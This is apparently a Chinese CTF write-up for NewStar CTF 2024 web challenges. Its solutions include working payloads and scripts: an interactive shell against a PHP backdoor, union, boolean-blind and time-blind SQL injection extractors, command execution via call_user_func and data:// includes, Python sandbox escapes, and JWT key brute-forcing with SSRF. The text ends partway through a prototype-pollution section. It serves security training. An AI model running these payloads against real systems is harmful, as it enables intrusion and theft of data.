week1 headach3 题目描述:
开启环境
打开浏览器开发者工具的「网络」(Network)选项卡,刷新网页,点击第一个请求,查看响应头,可以看到 flag
当然也可以抓包
最后flag为
1 flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
会赢吗? 题目描述:
开启环境
F12查看网页源码
得到第一部分flag
访问/4cqu1siti0n
继续查看网页源码
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 async function revealFlag(className) { try { const response = await fetch(`/api/flag/${className}`, { method: 'POST', headers: { 'Content-Type': 'application/json' } }); if (response.ok) { const data = await response.json(); console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`); } else { console.error('请求失败,请检查输入或服务器响应。'); } } catch (error) { console.error('请求过程中出现错误:', error); } } // 控制台提示 console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
根据控制台的提示,只需要执行
1 revealFlag('4cqu1siti0n')
(className的值为 4cqu1siti0n)即可获得第二关的 flag
得到第二部分flag
访问/s34l
继续查看网页源码
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 document.addEventListener('DOMContentLoaded', function () { const form = document.getElementById('seal_him'); const stateElement = document.getElementById('state'); const messageElement = document.getElementById('message'); form.addEventListener('submit', async function (event) { event.preventDefault(); if (stateElement.textContent.trim() !== '解封') { messageElement.textContent = '如何是好?'; return; } try { const response = await fetch('/api/flag/s34l', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value }) }); if (response.ok) { const data = await response.json(); messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`; } else { messageElement.textContent = '请求失败,请重试。'; } } catch (error) { messageElement.textContent = '请求过程中出现错误,请重试。'; } }); });
表单提交功能
1 2 3 触发条件: 只有当 stateElement 的文本内容为 "解封" 时,表单提交才会继续执行 否则会显示 "如何是好?" 的提示
在控制台中直接修改 stateElement 的文本内容
1 document.getElementById('state').textContent = '解封';
保存得到
得到第三部分flag
访问 /Ap3x
继续查看网页源码
代码
1 2 3 4 5 6 7 8 9 10 11 12 document.querySelector('form').addEventListener('submit', function (event) { event.preventDefault(); alert("宿傩的领域太强了,有什么办法让他的领域失效呢?"); }); (function () { const originalConsoleLog = console.log; console.log = function () { originalConsoleLog.apply(console, arguments); alert("你觉得你能这么简单地获取到线索?"); }; })();
让gpt写一个获取flag代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 // 获取 CSRF 令牌 const csrfToken = document.getElementById('csrf_token').value; // 尝试 JSON 格式请求 fetch('/api/flag/Ap3x', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ csrf_token: csrfToken }) }) .then(response => { if (!response.ok) { // 尝试解析错误响应 return response.text().then(text => { throw new Error(`服务器返回错误: ${response.status} ${text}`); }); } return response.json(); }) .then(data => { console.log('Flag:', data.flag); document.getElementById('message').textContent = `Flag: ${data.flag}`; }) .catch(error => { console.error('JSON 请求失败:', error); // 尝试表单编码格式 fetch('/api/flag/Ap3x', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `csrf_token=${encodeURIComponent(csrfToken)}` }) .then(response => { if (!response.ok) { return response.text().then(text => { throw new Error(`服务器返回错误: ${response.status} ${text}`); }); } return response.json(); }) .then(data => { console.log('Flag:', data.flag); document.getElementById('message').textContent = `Flag: ${data.flag}`; }) .catch(error => { console.error('表单编码请求也失败:', error); document.getElementById('message').textContent = '获取 Flag 失败,请检查控制台错误信息'; }); });
运行得到
得到第四部分flag
整理得到base编码
1 ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9
base解密
最后flag为
1 flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
智械危机 题目描述:
1 我家看门的 robots 有点铸币,怎么会告诉别人后门没有锁呢
开启环境
根据提示直接访问/robots.txt
访问/backd0or.php
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function execute_cmd($cmd) { system($cmd); } function decrypt_request($cmd, $key) { $decoded_key = base64_decode($key); $reversed_cmd = ''; for ($i = strlen($cmd) - 1; $i >= 0; $i--) { $reversed_cmd .= $cmd[$i]; } $hashed_reversed_cmd = md5($reversed_cmd); if ($hashed_reversed_cmd !== $decoded_key) { die("Invalid key"); } $decrypted_cmd = base64_decode($cmd); return $decrypted_cmd; } if (isset($_POST['cmd']) && isset($_POST['key'])) { execute_cmd(decrypt_request($_POST['cmd'],$_POST['key'])); } else { highlight_file(__FILE__); } ?>
post 传入两个参数 cmd 和 key,最后会对传入的 cmd 内容进行 base64 解密,然后将解密后的内容传给 system 函数作为参数调用
$hashed_reversed_cmd = md5($reversed_cmd)
先将传入的 cmd 内容进行了倒序然后再进行 md5 加密
decoded_key = base64_decode($key)
对传入的 key 的内容进行 base64 解密
只需保证这两个条件相等即可
构造payload
1 cmd=bHMgLw==&key=ZTk0ZDNmOWQyNzBmNTczNGMwZTYwNDY3ZDQ0ZTdkNDY=
查看flag
1 cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=
也可以写脚本
官方脚本
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests import base64 import hashlib print("[+] Shell for newstar_zhixieweiji") url = input("[+] Enter the target URL: ") def execute_command(cmd): cmd_encoded = base64.b64encode(cmd.encode()).decode() cmd_reversed = cmd_encoded[::-1] hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest() encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode() payload = {'cmd': cmd_encoded,'key': encoded_key} response = requests.post(url, data=payload) return response.text[:-1] hostname = execute_command("hostname") username = execute_command("whoami") while True: directory = execute_command("pwd") command = input(f"{username}@{hostname}:{directory}$ ") output = execute_command(command) print(output)
运行进入交互界面,输入命令得到flag
最后flag为
1 flag{e841485a-007b-ddd2-60b1-7a08d8bf5090}
谢谢皮蛋 题目描述:
开启环境
查看网页源码
访问/hint.php
考察sql注入里的联合注入
查看当前数据库
1 0 union select 1,database()#
查看当前数据库所有表名
1 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查看 Fl4g表所有列名
1 0 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()#
查看值得到 flag
1 0 union select group_concat(des),group_concat(value) from Fl4g#
最后flag为
1 flag{nEwstaR-CtF_20ZA245252ece470}
PangBai 过家家(1) 题目描述:
1 今天我去孤儿院接走了 PangBai,孤儿院的老板连手续都没让我办,可是我一抱起 PangBai,她就嚎啕大哭起来,我陷入了信任危机,于是我打开了婴幼儿护理专业必读书目《图解 HTTP》。
开启环境
过完开头的剧情,自动跳转到第一关
下面有注释
1 PangBai 的头部(Header)里便隐藏着一些秘密,需要你主动去发现。
查看http头部
访问/9fb425fc-90d2-4a86-b822-adff556f7557
下面注释
1 向 PangBai 询问(Query)一下(ask=miao)吧 ~
get传参
post请求
修改User-Agent为
将 say
字段改成「玛卡巴卡阿卡哇卡米卡玛卡呣」(不包含引号对 「」
),中文需要转义(HackBar 会自动处理中文的转义)。
发包
1 2 3 4 5 6 7 8 9 --abc Content-Disposition: form-data; name="file"; filename="1.zip" 123 --abc Content-Disposition: form-data; name="say" 玛卡巴卡阿卡哇卡米卡玛卡呣 --abc--
环境断了,重新开了一个
伪造xff
jwt伪造,进入level0
替换cookie
放行bp,点击从梦中醒来
最后flag为
1 flag{b4d57d3a-c82d-ea8d-6734-6808f6107e47}
week2 你能在一秒内打出八句英文吗 题目描述:
开启环境
点击按钮
随便输入
思路:先获取页面中需要输入的英文文本,再提交你获得的的文本。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests from bs4 import BeautifulSoup session = requests.Session() url = "http://192.168.0.115:7968/start" response = session.get(url) if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') text_element = soup.find('p', id='text') if text_element: value = text_element.get_text() print(f"{value}") submit_url = "http://192.168.0.115:7968/submit" payload = {'user_input': value} post_response = session.post(submit_url, data=payload) print(post_response.text) else: print(f"{response.status_code}")
运行得到
最后flag为
1 flag{ab71a8f2-d06b-5a47-2011-bdbbd83c8530}
遗失的拉链 题目描述:
开启环境
拉链的英文是 zip,这里也是考的 www.zip 泄露
可以看到存在 www.zip 泄露,访问后下载、解压得到源代码
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0); // for fun if(isset($_GET['new'])&&isset($_POST['star'])){ if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){ // 欸 为啥 sha1 和 md5 相等呢 $cmd = $_POST['cmd']; if (preg_match("/cat|flag/i", $cmd)) { die("u can not do this "); } echo eval($cmd); }else{ echo "Wrong"; } }
PHP 中使用这些函数处理数组的时候会报错返回 NULL 从而完成绕过
命令执行过滤了 cat,使用 tac 代替。flag被过滤,使用 fla*通配符绕过
最后flag为
1 flag{740cf497-aaff-a102-2bc4-8886af6ed0af}
复读机 题目描述:
开启环境
可以看到,输入什么就输出什么
输入aaa
输入
输出的结果是 49,说明存在 SSTI 注入
风景一把梭
最后flag为
1 flag{2804fb59-6696-5d9a-d068-cce9a380fae2}
PangBai 过家家(2) 题目描述:
1 PangBai 已经成为了我最亲的亲人,我将她反锁在房间内,随后照常去心理医院上班,但回来后却发现我的定居点被泄露了,我谨慎地走进房间,却发现后门开着,近处躺着倒下的 PangBai ——凶手从后门攻击了她,并带走了我的重要资料。我只身前往应战,并托蓬蓬头将 PangBai 送至医院。
开启环境
dirsearch扫描
git泄露
使用 GitHacker 工具从 .git 文件夹中泄露文件到本地
找到后门
恢复后门文件到工作区
发现了后门文件,访问显示
由于 git stash pop已经将文件释放了出来,我们可以直接查看后门的源码
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php # Functions to handle HTML output function print_msg($msg) { $content = file_get_contents('index.html'); $content = preg_replace('/\s*<script.*<\/script>/s', '', $content); $content = preg_replace('/ event/', '', $content); $content = str_replace('点击此处载入存档', $msg, $content); echo $content; } function show_backdoor() { $content = file_get_contents('index.html'); $content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content); echo $content; } # Backdoor if ($_POST['papa'] !== 'doKcdnEOANVB') { show_backdoor(); } else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) { print_msg('PangBai loves you!'); call_user_func($_POST['func'], $_POST['args']); } else { print_msg('PangBai hates you!'); }
PHP 中关于非法参数名传参问题
1 $_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024']))
利用%0a,注意%0a不能放在开头
原因:
1 但如果直接传参 NewStar_CTF.2024=Welcome%0A 会发现并没有用。这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024. 在 PHP 7 中,可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _,但此之后就不会继续替换后面的特殊字符
payload:
1 2 GET传参:NewStar[CTF.2024=Welcome%0a POST传参:papa=doKcdnEOANVB&func=system&args=env
最后flag为
1 flag{d07f581b-4b67-3eb7-b81d-5860bf38a6a8}
谢谢皮蛋 plus 题目描述:
开启环境
测试得到双引号闭合,同样地报错注入,过滤了空格,使用/**/绕过:
查询当前数据库
1 -1"/**/union/**/select/**/1,database()#
查询所有表名
1 -1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/database()#
查询所有列名
1 -1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'Fl4g'/**/&&/**/table_schema/**/=/**/database()#
查flag
1 -1"/**/union/**/select/**/des,value/**/from/**/Fl4g#
由于环境没修复,最后打不出来fla,这题懂方法即可
week3 Include Me 题目描述:
开启环境
打开题目 5s 后会自动跳转搜索 PHP 伪协议
要防止跳转,使用 GET 传入 iknow即可
然后使用data协议读取伪协议
1 iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg
最后flag为
1 flag{N3WstaR-CTF-ZO2A2a18536c11}
blindsql1 题目描述:
开启环境
能够根据姓名查询成绩
加入单引号时,查询失败,说明存在注入
尝试 Alice’ or 1=1# 注意 # 要 URL 编码成 %23)时,提示空格被禁用了
经过测试,union = /被禁用了
union可以用盲注二分法代替,=用ord和mid还有like代替,空格和斜杠可以用括号代替
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 import requests import time import sys from urllib.parse import quote from concurrent.futures import ThreadPoolExecutor from functools import partial import logging class SQLInjectionExploiter: def __init__(self, url_template, success_marker, delay=0.04, max_workers=5): self.url_template = url_template self.success_marker = success_marker self.delay = delay self.session = requests.Session() self.max_workers = max_workers self.logger = self._setup_logger() def _setup_logger(self): logger = logging.getLogger('sqli_exploiter') logger.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') # 输出到控制台 ch = logging.StreamHandler() ch.setFormatter(formatter) logger.addHandler(ch) # 输出到文件 fh = logging.FileHandler('sqli_exploit.log') fh.setFormatter(formatter) logger.addHandler(fh) return logger def _get_response(self, payload): """发送请求并获取响应,包含重试机制和异常处理""" max_retries = 3 for attempt in range(max_retries): try: response = self.session.get(payload) response.raise_for_status() # 检查请求是否成功 time.sleep(self.delay) # 控制请求频率 return response.text except requests.RequestException as e: self.logger.error(f"Request attempt {attempt+1} failed: {e}") time.sleep(1) # 重试前等待1秒 self.logger.error(f"Failed after {max_retries} attempts for payload: {payload}") return "" def _binary_search_char(self, position, payload_template): """使用二分法确定指定位置的字符""" left, right = 32, 128 while left < right: mid = (left + right) // 2 payload = self.url_template + quote(payload_template % (position, mid)) html = self._get_response(payload) if self.success_marker in html: right = mid else: left = mid + 1 char_code = (left + right) // 2 if 32 <= char_code <= 127: return chr(char_code - 1) # 小于号,值要-1 return None def extract_data(self, payload_template, max_length=1000): """提取数据的主函数,支持多线程加速""" result = "" self.logger.info("开始提取数据...") with ThreadPoolExecutor(max_workers=self.max_workers) as executor: search_func = partial(self._binary_search_char, payload_template=payload_template) for i, char in enumerate(executor.map(search_func, range(1, max_length + 1)), 1): if char is None: self.logger.info(f"在位置 {i} 处未找到有效字符,可能已提取全部内容") break result += char print(f"\r提取进度: {i} 字符 - 当前结果: {result}", end="") self.logger.debug(f"位置 {i}: 字符 {char}") print(f"\nFinal Result: {result}") self.logger.info(f"提取完成,结果: {result}") return result # 使用示例 if __name__ == "__main__": BASE_URL = "http://192.168.0.115:7960/?student_name=" SUCCESS_MARKER = "Mathematics" exploiter = SQLInjectionExploiter( url_template=BASE_URL, success_marker=SUCCESS_MARKER, delay=0.04, # 根据目标服务器响应速度调整 max_workers=5 # 线程数,可根据网络情况调整 ) # 选择要执行的注入类型 INJECTION_TYPES = { 1: "获取数据库名", 2: "获取表名", 3: "获取列名", 4: "获取secrets表数据", 5: "获取secrets表数据(倒序)" } print("请选择要执行的注入类型:") for key, value in INJECTION_TYPES.items(): print(f"{key}. {value}") try: choice = int(input("输入选项 (1-5): ")) except ValueError: print("无效输入,默认选择1") choice = 1 # 根据选择设置不同的payload模板 payload_templates = { 1: "alice'&&(ord(mid(database(),%d,1))<%d)#", # 爆库 2: "alice'&&(ord(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%d,1))<%d)#", # 爆表 3: "alice'&&(ord(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name)like('secrets')),%d,1))<%d)#", # 爆列 4: "alice'&&(ord(mid((select(group_concat(id,secret_key,secret_value))from(secrets)),%d,1))<%d)#", # 爆字段 5: "alice'&&(ord(mid((select(reverse(group_concat(id,secret_key,secret_value)))from(secrets)),%d,1))<%d)#" # 爆字段(倒序) } payload_template = payload_templates.get(choice, payload_templates[1]) print(f"正在执行: {INJECTION_TYPES.get(choice, '未知类型')}") result = exploiter.extract_data(payload_template) # 如果是倒序结果,自动反转 if choice == 5: print(f"反转后的结果: {result[::-1]}")
运行得到
最后flag为
1 flag{N3w5T4R-ctf-20ZAe064c1f7ea8}
臭皮的计算机 题目描述:
1 豌豆送给了臭皮一个特制计算机,你能帮助臭皮找到豌豆的秘密吗?
开启环境
查看源码
根据提示进入 /calc路由,查看网页源码
发现过滤了所有字母,直接八进制绕过
payload
1 __import__('os').popen('ls /').read()
转八进制
查看根目录
1 \137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\40\57\47\51\56\162\145\141\144\50\51
查看flag
1 \137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\47\51\56\162\145\141\144\50\51
最后flag为
1 flag{NEw5Tar-Ctf_2O2A1c329521669d}
臭皮踩踩背 题目描述:
1 老爷爷,为了给你踩背,我一定要从这里逃出去!!!
开启环境
沙箱逃逸
绕过no_builtins
1 ().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()
1 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
1 f.__globals__['__builtins__'].print(f.__globals__['__builtins__'].open('/flag').read())
最后flag为
1 flag{new5T@r-cTf_2O24176d280769ad}
这「照片」是你吗 题目描述:
开启环境
查看网页源码
wappalyzer探测到是flask
根据flask+静态文件很容易想到目录穿越
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 from flask import Flask, make_response, render_template_string, request, redirect, send_file import uuid import jwt import time import os import requests from flag import get_random_number_string base_key = str(uuid.uuid4()).split("-") secret_key = get_random_number_string(6) admin_pass = "".join([ _ for _ in base_key]) print(admin_pass) app = Flask(__name__) failure_count = 0 users = { 'admin': admin_pass, 'amiya': "114514" } def verify_token(token): try: global failure_count if failure_count >= 100: return make_response("You have tried too many times! Please restart the service!", 403) data = jwt.decode(token, secret_key, algorithms=["HS256"]) if data.get('user') != 'admin': failure_count += 1 return make_response("You are not admin!<br><img src='/3.png'>", 403) except: return make_response("Token is invalid!<br><img src='/3.png'>", 401) return True @app.route('/') def index(): return redirect("/home") @app.route('/login', methods=['POST']) def login(): username = request.form['username'] password = request.form['password'] global failure_count if failure_count >= 100: return make_response("You have tried too many times! Please restart the service!", 403) if users.get(username)==password: token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key) response = make_response('Login success!<br><a href="/home">Go to homepage</a>') response.set_cookie('token', token) return response else: failure_count += 1 return make_response('Could not verify!<br><img src="/3.png">', 401) @app.route('/logout') def logout(): response = make_response('Logout success!<br><a href="/home">Go to homepage</a>') response.set_cookie('token', '', expires=0) return response @app.route('/home') def home(): logged_in = False try: token = request.cookies.get('token') data = jwt.decode(token, secret_key, algorithms=["HS256"]) text = "Hello, %s!" % data.get('user') logged_in = True except: logged_in = False text = "You have not logged in!" data = {} return render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Home Page</title> </head> <body> <!-- 图标能够正常显示耶! --> <!-- 但是我好像没有看到Nginx或者Apache之类的东西 --> <!-- 说明服务器脚本能够处理静态文件捏 --> <!-- 那源码是不是可以用某些办法拿到呢! --> {{ text }}<br> {% if logged_in %} <a href="/logout">登出</a> {% else %} <h2>登录</h2> <form action="/login" method="post"> 用户名: <input type="text" name="username"><br> 密码: <input type="password" name="password"><br> <input type="submit" value="登录"> </form> {% endif %} <br> {% if user=="admin" %} <a href="/admin">Go to admin panel</a> <img src="/2.png"> {% else %} <img src="/1.png"> {% endif %} </body> </html> ''', text=text, logged_in=logged_in, user=data.get('user')) @app.route('/admin') def admin(): try: token = request.cookies.get('token') if verify_token(token) != True: return verify_token(token) resp_text = render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Admin Panel</title> </head> <body> <h1>Admin Panel</h1> <p>GET Server Info from api:</p> <input type="input" value={{api_url}} id="api" readonly> <button οnclick=execute()>Execute</button> <script> function execute() { fetch("{{url}}/execute?api_address="+document.getElementById("api").value, {credentials: "include"} ).then(res => res.text()).then(data => { document.write(data); }); } </script> </body> </html> ''', api_url=request.host_url+"/api", url=request.host_url) resp = make_response(resp_text) resp.headers['Access-Control-Allow-Credentials'] = 'true' return resp except: return make_response("Token is invalid!<br><img src='/3.png'>", 401) @app.route('/execute') def execute(): token = request.cookies.get('token') if verify_token(token) != True: return verify_token(token) api_address = request.args.get("api_address") if not api_address: return make_response("No api address!", 400) response = requests.get(api_address, cookies={'token': token}) return response.text @app.route("/api") def api(): token = request.cookies.get('token') if verify_token(token) != True: return verify_token(token) resp = make_response(f"Server Info: {os.popen('uname -a').read()}") resp.headers['Access-Control-Allow-Credentials'] = 'true' return resp @app.route("/<path:file>") def static_file(file): print(file) restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc", "bin", "lib", "tmp", "var", "run", "dev", "home", "boot"] if any(keyword in file for keyword in restricted_keywords): return make_response("STOP!", 404) if not os.path.exists("./static/" + file): return make_response("Not found!", 404) return send_file("./static/" + file) if __name__ == '__main__': app.run(host="0.0.0.0",port=5000)
使用用户名和密码登录:amiya 114514
读取flag.py
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flask import os import random def get_random_number_string(length): return ''.join([str(random.randint(0, 9)) for _ in range(length)]) get_flag = Flask("get_flag") FLAG = os.environ.pop("ICQ_FLAG", "flag{test_flag}") @get_flag.route("/fl4g") #如何触发它呢? def flag(): return FLAG if __name__ == "__main__": get_flag.run(host="127.0.0.1",port=5001)
app.py中的secret_key可以知道jwt密钥长度为6位数字
有效值账户amiya 114514,通过发包登录,我们可以获得一个有效的token
爆破 jwt 密钥 key
先生成一个字典
exp:
1 2 3 with open('D:\\tmp\\wordlist.txt', 'w') as f: for i in range(1000000): f.write(str(i).rjust(6, '0') + '\n')
jwtcrack爆破
原token
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW1peWEiLCJleHAiOjE3NDk1NjE3NTF9.GHRSBw2n_4vo-6z0pGOSzc-LNjUzM6dkUJp1XOWNX1Y
爆破
伪造admin的token
替换token
调 execute 路由代码
1 2 3 4 5 6 7 function execute() { fetch("{{url}}/execute?api_address="+document.getElementById("api").value, {credentials: "include"} ).then(res => res.text()).then(data => { document.write(data); }); }
ssrf利用
只要访问5001下的/f14g就可以获得flag
最后flag为
1 flag{N3wsT@R_CTf-ZO2416dcec29988f}
week4 blindsql2 题目描述:
开启环境
时间盲注
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 import requests import time import sys from urllib.parse import quote import argparse def get_user_choice(): print("\n请选择要执行的注入类型:") print("1. 获取数据库名") print("2. 获取表名") print("3. 获取列名") print("4. 获取secrets表数据") print("5. 获取secrets表数据(倒序)") while True: try: choice = int(input("\n请输入选项(1-5): ")) if 1 <= choice <= 5: return choice else: print("无效选项,请重新输入。") except ValueError: print("请输入有效的数字。") def main(): # 解析命令行参数,只保留URL参数 parser = argparse.ArgumentParser(description='SQL注入时间盲注工具') parser.add_argument('--url', required=True, help='目标URL前缀') parser.add_argument('--timeout', type=float, default=0.5, help='判断条件成立的超时时间阈值') parser.add_argument('--delay', type=float, default=0.2, help='请求间隔时间') parser.add_argument('--max-length', type=int, default=1000, help='最大字符长度') args = parser.parse_args() # 设置请求头,模拟浏览器行为 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Connection': 'keep-alive', } # 根据用户选择确定注入类型和相关参数 choice = get_user_choice() if choice == 1: print("\n开始获取数据库名...") payload_template = "1'||if(ord(mid(database(),%d,1))<%d,sleep(%f),1)#" payload_args = (args.timeout,) result_name = "数据库名" reverse_result = False elif choice == 2: print("\n开始获取表名...") payload_template = "1'||if((ord(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%d,1))<%d),sleep(%f),1)#" payload_args = (args.timeout,) result_name = "表名" reverse_result = False elif choice == 3: print("\n开始获取secrets表的列名...") payload_template = "1'||if((ord(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name)like('secrets')),%d,1))<%d),sleep(%f),1)#" payload_args = (args.timeout,) result_name = "secrets表的列名" reverse_result = False elif choice == 4: print("\n开始获取secrets表数据...") payload_template = "1'||if((ord(mid((select(group_concat(secret_value))from(secrets)),%d,1))<%d),sleep(%f),1)#" payload_args = (args.timeout,) result_name = "secrets表数据" reverse_result = False elif choice == 5: print("\n开始获取secrets表数据(倒序)...") payload_template = "1'||if((ord(mid((select(group_concat(secret_value))from(secrets)),%d,1))<%d),sleep(%f),1)#" payload_args = (args.timeout,) result_name = "secrets表数据(倒序)" reverse_result = True result = "" session = requests.Session() # 使用会话保持连接 for i in range(1, args.max_length + 1): print(f"正在提取第 {i} 个字符...", end="\r") left = 32 # 可打印ASCII字符的起始值 right = 127 # 可打印ASCII字符的结束值 mid = (left + right) // 2 while left < right: # 构造完整的payload payload = payload_template % (i, mid, *payload_args) full_url = args.url + quote(payload) try: start_time = time.time() response = session.get(full_url, headers=headers, timeout=5) end_time = time.time() elapsed = end_time - start_time # 短暂延迟避免请求过快 time.sleep(args.delay) # 判断条件是否成立 if elapsed > args.timeout: right = mid else: left = mid + 1 mid = (left + right) // 2 except requests.RequestException as e: print(f"\n请求错误: {e}") time.sleep(1) # 出错后等待更长时间 continue # 检查是否已经到达结果末尾 if mid <= 32 or mid >= 127: print(f"\n已完成注入,共提取 {len(result)} 个字符") break # 小于号条件下,实际字符是mid-1 char = chr(mid - 1) result += char # 每10个字符显示一次当前结果 if i % 10 == 0: print(f"\n当前进度: {i} 字符 - 部分结果: {result[-20:]}...") # 根据选择决定是否倒序输出 if reverse_result: result = result[::-1] print(f"\n{result_name}:") print(result) # 如果结果包含逗号分隔的多个值,进行格式化显示 if ',' in result: print(f"\n格式化后的{result_name}:") items = result.split(',') for idx, item in enumerate(items, 1): print(f"{idx}. {item}") if __name__ == "__main__": main()
运行得到flag
最后flag为
1 flag{NEWSTAR-CTF_2OZA1d65bd1d2d2f}
ezpollute 题目描述:
1 原型链污染,尝试 RCE 它?(建议本地打通以后再打远程)
开启环境
看一下部署文件Node.js 版本为 16,使用了 node-dev热部署启动
审计 index.js,/config路由下调用了 merge函数,merge函数意味着可能存在的原型链污染漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 router.post("/config", async (ctx) => { jsonData = ctx.request.rawBody || "{}"; token = ctx.cookies.get("token"); if (!token) { return (ctx.body = { code: 0, msg: "Upload Photo First", }); } const [err, userID] = decodeToken(token); if (err) { return (ctx.body = { code: 0, msg: "Invalid Token", }); } userConfig = JSON.parse(jsonData); try { finalConfig = clone(defaultWaterMarkConfig); // 这里喵 merge(finalConfig, userConfig); fs.writeFileSync(path.join(__dirname, "uploads", userID, "config.json"), JSON.stringify(finalConfig)); ctx.body = { code: 1, msg: "Config updated successfully", }; } catch (e) { ctx.body = { code: 0, msg: "Some error occurred", }; } });
merge函数在 /util/merge.js中,虽然过滤了 proto,但我们可以通过 constructor.prototype来绕过限制
